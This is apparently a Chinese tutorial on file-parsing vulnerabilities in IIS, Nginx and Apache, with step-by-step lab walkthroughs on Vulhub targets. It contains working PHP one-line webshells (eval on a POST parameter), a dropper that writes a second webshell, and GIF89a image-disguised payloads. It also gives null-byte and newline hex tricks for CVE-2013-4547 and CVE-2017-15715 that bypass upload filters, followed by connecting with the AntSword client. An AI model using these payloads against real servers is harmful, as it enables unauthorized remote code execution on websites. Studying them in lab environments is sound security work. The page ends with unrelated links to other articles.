中间件解析了漏洞【IIS Nginx Apache】

IIS

1.IIS6.X

1.使用Windows2003虚拟机,在其中安装IIS6.X

2.在IIS6.X中,.asp文件夹中的文件都会被当作asp文件去执行

我们在网站根目录创建一个x.asp文件

在x.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码。

在外部浏览器中访问windows2003的iis网站中的2.jpg 发现asp代码被执行

2.IIS7.X

1.php.ini⾥的cgi.fix_pathinfo=1 开启,把前面的分号去掉就算开启了

2.IIS7在Fast-CGI运⾏模式下

3.将PHP⼀句话木马写到1.php并更改后缀为1.jpg上传到⽬标站点...利⽤解析漏洞进行访问

4.蚁剑连接

Nginx

1.nginx_parsing

1.在kali中开启vluhub靶场

在vluhub中找到Nginx中的靶场,运行docker-compose文件就是开启靶场

docker-compose up -d

2.运行docker-compose ps -a查看进程

3.访问

4.制作图片马进行上传,并获取木马地址

GIF89a是图片标识,如果不加会导致网站不认可我们的jpg文件

注意:cmd要加上引号

5.访问我们的图片马

访问不到我们的一句话木马,那么我们就要在目录后面加上.php让网站将我们的文件进行php解析

6.蚁剑连接

2.CVE-2013-4547

1.开启环境,同上

2.访问靶机

3.上传文件shell.php,抓包,将php改为jpg并在jpg后面加上两个空格和.php

4.在Hex中将第二个空格改为00

5.放行,上传成功

6.访问这个shell.jpg并进行抓包,将get后面参数加上两个空格,和.php

7.在hex中依旧将第二个空格改为00

Apache

1.apache_parsing

1.开启靶机

2.访问靶机并上传 shell.php.jpg 文件,文件内容为GIF89a

<?php fputs(fopen("shw.php","w"),"<?php eval(\$_POST'cmd');?>")?>

3.蚁剑连接

2.CVE-2017-15715

1。开启靶机

2.访问靶机并上传 shell.jpg 文件,文件内容为GIF89a

<?php @eval($_POST'cmd');?>,filename为1.php

3.抓包,在php后面加上空格,并把hex中的空格改为0a

4.放行访问1.php%0A

5,蚁剑连接

相关推荐
桌面运维家6 小时前
旧电脑跑不动课程软件,VDI云桌面怎样接着用?
运维·服务器·虚拟化·pve·vdi·云桌面
zhang133830890756 小时前
传统机械三杯式风速传感器易磨损冻堵?CG-88金属超声波风速风向传感器给出免运维方案
运维·服务器·网络·人工智能·自动化
知已难寻7 小时前
第 2 篇 · 云的地基:服务器、存储、网络三大基础设施
运维·服务器·网络·云原生·云计算·负载均衡·1024程序员节
2601_949847759 小时前
bcrypt.js 跨端三方库仓颉适配全流程
linux·运维·ubuntu
m0_639906949 小时前
Linux 操作系统入门:目录结构、服务排查常用命令、Shell 脚本基础
linux·运维·后端
今天重构了吗9 小时前
Linux 上 rm -rf 删错了能找回吗
运维·服务器
KaiwuDB10 小时前
KaiwuDB 分布式集群扩缩容,从原理到完整操作踩坑总结
运维·数据库·分布式
codezzzsleep10 小时前
学术汇报 PPT 自动化生成实战指南
运维·自动化·powerpoint
古法老登瞎折腾10 小时前
大数据智能运维实战(九):让 AI 查日志——找到异常,也保留上下文
java·大数据·运维·人工智能·spring ai·mcp
讯捷蓝达11 小时前
IBM V3500存储 双控故障、数据怎么恢复?
运维